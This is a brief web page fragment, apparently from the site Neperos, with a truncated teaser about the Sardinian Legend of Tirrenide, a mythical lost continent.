In Sardinia, there is a legend known as the Legend of Tirrenide. Thousands of years ago, there was a continent called Tirrenide. It was a l ...
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT